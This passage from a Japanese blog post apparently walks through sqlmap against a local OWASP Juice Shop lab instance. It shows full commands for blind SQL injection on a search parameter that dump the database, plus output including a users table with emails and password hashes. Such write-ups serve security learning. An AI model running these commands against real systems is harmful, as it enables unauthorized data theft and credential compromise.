$ sqlmap -u "http://mercury.localdomain:8001/rest/products/search?q=a" -p "q" --dbms=sqlite --dump-all --technique=B --level=2

非常にスローなペースで出力結果が出続けるが、これは裏で1文字1文字に対して、データベースがTrue/Falseを返すかのテストをしている。とてもじゃないが手動では出来ない技だ。WireSharkで、HTTPリクエストを見ると、凄まじいクエリが投げられているのが分かり面白い。

そして、途中途中でレインボー攻撃可能なハッシュが見つかると、「do you want to store hashes to a temporary file for eventual further processing with other tools」と、「do you want to crack them via a dictionary-based attack?」と聞いてくるが、先述したようにどちらも「N」を選択。

とにかく長い時間がかかるが、ようやく終了した。

[13:48:25] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)

[13:48:25] [WARNING] unable to enumerate the columns for table 'sqlite_sequence'
[13:48:25] [INFO] retrieved: 
[13:48:25] [WARNING] unable to enumerate the columns for table 'PrivacyRequests'
[13:48:25] [INFO] retrieved: 
[13:48:26] [WARNING] unable to enumerate the columns for table 'Feedbacks'
[13:48:26] [INFO] retrieved: 
[13:48:26] [WARNING] unable to enumerate the columns for table 'Recycles'
[13:48:26] [INFO] retrieved: 
[13:48:26] [WARNING] unable to enumerate the columns for table 'Complaints'
[13:48:26] [INFO] retrieved: 
[13:48:26] [WARNING] unable to enumerate the columns for table 'Challenges'
[13:48:26] [INFO] retrieved: 
[13:48:26] [WARNING] unable to enumerate the columns for table 'Memories'
[13:48:26] [INFO] retrieved:          
[13:48:30] [WARNING] unable to enumerate the columns for table 'Captchas'
[13:48:30] [INFO] retrieved: 
[13:48:30] [WARNING] unable to enumerate the columns for table 'SecurityAnswers'
[13:48:30] [INFO] retrieved: 
[13:48:30] [WARNING] unable to enumerate the columns for table 'ImageCaptchas'
[13:48:30] [INFO] retrieved: 
[13:48:30] [WARNING] unable to enumerate the columns for table 'Quantities'
[13:48:30] [INFO] retrieved: 
[13:48:30] [WARNING] unable to enumerate the columns for table 'Products'
[13:48:30] [INFO] retrieved: 
[13:48:30] [WARNING] unable to enumerate the columns for table 'Addresses'
[13:48:30] [INFO] retrieved: 
[13:48:31] [WARNING] unable to enumerate the columns for table 'Deliveries'
[13:48:31] [INFO] retrieved: 
[13:48:31] [WARNING] unable to enumerate the columns for table 'BasketItems'
[13:48:31] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 51 times
[13:48:31] [INFO] fetched data logged to text files under '~/.local/share/sqlmap/output/mercury.localdomain'

まだいくつか失敗している。

今度は、失敗しているテーブルを1つ指定して、LevelとRiskを少し上げ、勿論、–techniqueフラグでサーバーをダウンさせないように、Bだけ指定。

さらに、もうここまで来ると早く終わらせたいので、–threadsに3を指定して実行。

$ sqlmap -u "http://mercury.localdomain:8001/rest/products/search?q=a" --level=3 risk=2 --technique=B -T Memories --dump --threads=3

成功。threadオプション、超早い!

Database: <current>
Table: Memories
[5 entries]
+----+--------+------------------------------------------------------+--------------------------------+-----------------------------------------------------------------------------------------------------+--------------------------------+
| id | UserId | caption                                              | createdAt                      | imagePath                                                                                           | updatedAt                      |
+----+--------+------------------------------------------------------+--------------------------------+-----------------------------------------------------------------------------------------------------+--------------------------------+
| 1  | 13     | ? #zatschi #whoneedsfourlegs                        | 2023-03-12 03:10:07.676 +00:00 | assets/public/images/uploads/?-#zatschi-#whoneedsfourlegs-1572600969477.jpg                        | 2023-03-12 03:10:07.676 +00:00 |
| 2  | 4      | Magn(et)ificent!                                     | 2023-03-12 03:10:07.678 +00:00 | assets/public/images/uploads/magn(et)ificent!-1571814229653.jpg                                     | 2023-03-12 03:10:07.678 +00:00 |
| 3  | 4      | My rare collectors item! [$( ° ʖ °)$] | 2023-03-12 03:10:07.679 +00:00 | assets/public/images/uploads/my-rare-collectors-item!-[$(-°-ʖ-°)$]-1572603645543.jpg | 2023-03-12 03:10:07.679 +00:00 |
| 4  | 18     | I love going hiking here...                          | 2023-03-12 03:10:19.360 +00:00 | assets/public/images/uploads/favorite-hiking-place.png                                              | 2023-03-12 03:10:19.360 +00:00 |
| 5  | 19     | My old workplace...                                  | 2023-03-12 03:10:19.405 +00:00 | assets/public/images/uploads/IMG_4253.jpg                                                           | 2023-03-12 03:10:19.405 +00:00 |
+----+--------+------------------------------------------------------+--------------------------------+-----------------------------------------------------------------------------------------------------+--------------------------------+

[13:58:43] [INFO] table 'SQLite_masterdb.Memories' dumped to CSV file '~/.local/share/sqlmap/output/mercury.localdomain/dump/SQLite_masterdb/Memories.csv'                                                                                                                                                       
[13:58:43] [INFO] fetched data logged to text files under '~/.local/share/sqlmap/output/mercury.localdomain'

他のテーブルも同じ要領で全て取得できる。

さらにここで注目したいのは、最後に出ているこれらの結果の保存場所について。このディレクトリを見てみる。

$ ls ~/.local/share/sqlmap/output/mercury.localdomain/dump/SQLite_masterdb 

Baskets.csv  Cards.csv  Memories.csv  Memories.csv.1  Memories.csv.2  Memories.csv.3  Memories.csv.4  Users.csv  Wallets.csv

$ cat ~/.local/share/sqlmap/output/mercury.localdomain/dump/SQLite_masterdb/Users.csv 

id,role,email,isActive,password,username,createdAt,deletedAt,updatedAt,totpSecret,deluxeToken,lastLoginIp,profileImage
9,admin,J12934@juice-sh.op,1,0192023a7bbd73250516f069df18b500,<blank>,2023-03-12 03:08:04.241 +00:00,NULL,2023-03-12 03:08:04.241 +00:00,<blank>,<blank>,<blank>,assets/public/images/uploads/defaultAdmin.png
15,customer,accountant@juice-sh.op,1,e541ca7ecf72b8d1286474fc613e5e45,<blank>,2023-03-12 03:08:04.245 +00:00,NULL,2023-03-12 03:08:04.245 +00:00,<blank>,<blank>,<blank>,assets/public/images/uploads/default.svg
1,customer,admin@juice-sh.op,1,0c36e517e3fa95aabf1bbffc6744a4ef,<blank>,2023-03-12 03:08:04.247 +00:00,NULL,2023-03-12 03:08:04.247 +00:00,<blank>,<blank>,<blank>,assets/public/images/uploads/default.svg
11,admin,amy@juice-sh.op,1,6edd9d726cbdc873c539e41ae8757b8c,bkimminich,2023-03-12 03:08:04.249 +00:00,NULL,2023-03-12 03:08:04.249 +00:00,<blank>,<blank>,<blank>,assets/public/images/uploads/defaultAdmin.png
(省略)

ちゃんとファイルに保存されている。

後から、じっくり見ることも出来るし、途中省略したハッシュの複合もゆっくり出来る。

まとめ

nmapなんかもそうだけど、公式を見るとオプションなんかかなりの量があって一瞬折れそうになるが、全部覚える必要なんかないので、実際に叩きながら必要に応じて調べていくといい。

また、クセや感覚、考え方やニュアンス的なものも多いので、これらはドキュメントでは上手く伝わらないので触り続けることが一番の近道。道具に慣れるというのは、こういうことかと実感した。

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です